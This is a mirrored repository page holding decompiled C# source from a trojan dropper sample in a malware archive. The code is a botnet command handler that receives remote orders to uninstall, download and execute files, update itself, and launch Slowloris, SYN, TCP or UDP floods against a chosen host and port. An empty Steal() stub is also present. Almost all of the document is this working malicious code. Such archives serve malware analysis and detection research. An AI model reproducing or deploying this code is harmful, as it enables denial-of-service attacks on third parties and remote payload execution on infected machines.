mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
216 lines
4.9 KiB
C#
216 lines
4.9 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Poly._command
|
|||
|
// Assembly: Poly, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 618F3010-979B-4F78-8F99-D5C35E30AA2E
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Sysn.bshb-a13f90b28df8b73652beb4c3c95ff1b8dc0c2fc41dee8f7d6acdd43828a0aadc.exe
|
|||
|
|
|||
|
using System;
|
|||
|
|
|||
|
namespace Poly
|
|||
|
{
|
|||
|
public class _command : Base_Settings
|
|||
|
{
|
|||
|
private static int task;
|
|||
|
private static string[] taskArray;
|
|||
|
|
|||
|
public _command() => this.Initialise();
|
|||
|
|
|||
|
public override void Run() => this.issueCommand();
|
|||
|
|
|||
|
public override void Initialise()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
_command.task = int.Parse(Base_Settings.command);
|
|||
|
_command.taskArray = Base_Settings.response;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void issueCommand()
|
|||
|
{
|
|||
|
if (Base_Settings.busy)
|
|||
|
return;
|
|||
|
Base_Settings.busy = true;
|
|||
|
switch (_command.task)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
Base_Settings.status = "Removed by user";
|
|||
|
_communicate.setReturn(1);
|
|||
|
_communicate.forceTalk();
|
|||
|
_Install.Uninstall();
|
|||
|
break;
|
|||
|
case 1:
|
|||
|
Base_Settings.status = "Downloaded File";
|
|||
|
this.Download();
|
|||
|
_communicate.setReturn(1);
|
|||
|
break;
|
|||
|
case 2:
|
|||
|
Base_Settings.status = "starting flood";
|
|||
|
this.Flood();
|
|||
|
_communicate.setReturn(2);
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
this.Update();
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void Update()
|
|||
|
{
|
|||
|
string task1 = _command.taskArray[1];
|
|||
|
string str1 = string.Empty;
|
|||
|
string str2 = string.Empty;
|
|||
|
string Path;
|
|||
|
if (_command.taskArray.Length == 3)
|
|||
|
{
|
|||
|
string task2 = _command.taskArray[2];
|
|||
|
Path = Function.Update(task1, task2);
|
|||
|
}
|
|||
|
else
|
|||
|
Path = Function.Update(task1);
|
|||
|
if (Path == string.Empty)
|
|||
|
Base_Settings.status = "Error";
|
|||
|
else
|
|||
|
_Install.Update(Path);
|
|||
|
str1 = (string) null;
|
|||
|
str2 = (string) null;
|
|||
|
}
|
|||
|
|
|||
|
private void Download()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
string task1 = _command.taskArray[1];
|
|||
|
string str;
|
|||
|
if (_command.taskArray.Length >= 3)
|
|||
|
{
|
|||
|
string task2 = _command.taskArray[2];
|
|||
|
if (Function.DlExecute(task1, task2))
|
|||
|
{
|
|||
|
str = (string) null;
|
|||
|
Base_Settings.busy = false;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
_communicate.setReturn(0);
|
|||
|
Base_Settings.status = "Failed downloading file";
|
|||
|
}
|
|||
|
}
|
|||
|
else if (Function.DlExecute(task1))
|
|||
|
{
|
|||
|
str = (string) null;
|
|||
|
Base_Settings.busy = false;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
_communicate.setReturn(0);
|
|||
|
Base_Settings.status = "Failed downloading file";
|
|||
|
}
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void Flood()
|
|||
|
{
|
|||
|
this.Initialise();
|
|||
|
Console.WriteLine("Flood started?");
|
|||
|
bool flag = true;
|
|||
|
Function.Type type = Function.Type.Slowloris;
|
|||
|
string Host = "";
|
|||
|
int Packets;
|
|||
|
try
|
|||
|
{
|
|||
|
Packets = int.Parse(_command.taskArray[5]);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
Packets = 1024;
|
|||
|
}
|
|||
|
int Timeout;
|
|||
|
try
|
|||
|
{
|
|||
|
Timeout = int.Parse(_command.taskArray[6]);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
Timeout = 3000;
|
|||
|
}
|
|||
|
int Sockets;
|
|||
|
try
|
|||
|
{
|
|||
|
Sockets = int.Parse(_command.taskArray[4]);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
Sockets = 20;
|
|||
|
}
|
|||
|
try
|
|||
|
{
|
|||
|
switch (int.Parse(_command.taskArray[1]))
|
|||
|
{
|
|||
|
case 1:
|
|||
|
type = Function.Type.Slowloris;
|
|||
|
break;
|
|||
|
case 2:
|
|||
|
type = Function.Type.SYN;
|
|||
|
break;
|
|||
|
case 3:
|
|||
|
type = Function.Type.TCP;
|
|||
|
break;
|
|||
|
case 4:
|
|||
|
type = Function.Type.UDP;
|
|||
|
break;
|
|||
|
default:
|
|||
|
type = Function.Type.Slowloris;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
flag = false;
|
|||
|
}
|
|||
|
int Port;
|
|||
|
try
|
|||
|
{
|
|||
|
Port = int.Parse(_command.taskArray[3]);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
Port = 80;
|
|||
|
}
|
|||
|
try
|
|||
|
{
|
|||
|
Host = _command.taskArray[2];
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
flag = false;
|
|||
|
}
|
|||
|
Console.WriteLine("Flood valid? : {0}", (object) flag);
|
|||
|
if (flag)
|
|||
|
{
|
|||
|
Function.InitFlood(type, Host, Port, Sockets, Packets, Timeout);
|
|||
|
Function.Begin();
|
|||
|
Console.WriteLine("Flood started @@");
|
|||
|
Console.WriteLine("Current busy state = {0}", (object) Base_Settings.busy);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
if (flag)
|
|||
|
return;
|
|||
|
_communicate.setReturn(0);
|
|||
|
Console.WriteLine("HOST = {0}\n Flood type = {1}\n PORT = {2}\n SOCKETS = {3}\n PACKETS = {4}\n TIMEOUT = {5}\n", (object) Host, (object) type, (object) Port, (object) Sockets, (object) Packets, (object) Timeout);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void Steal()
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|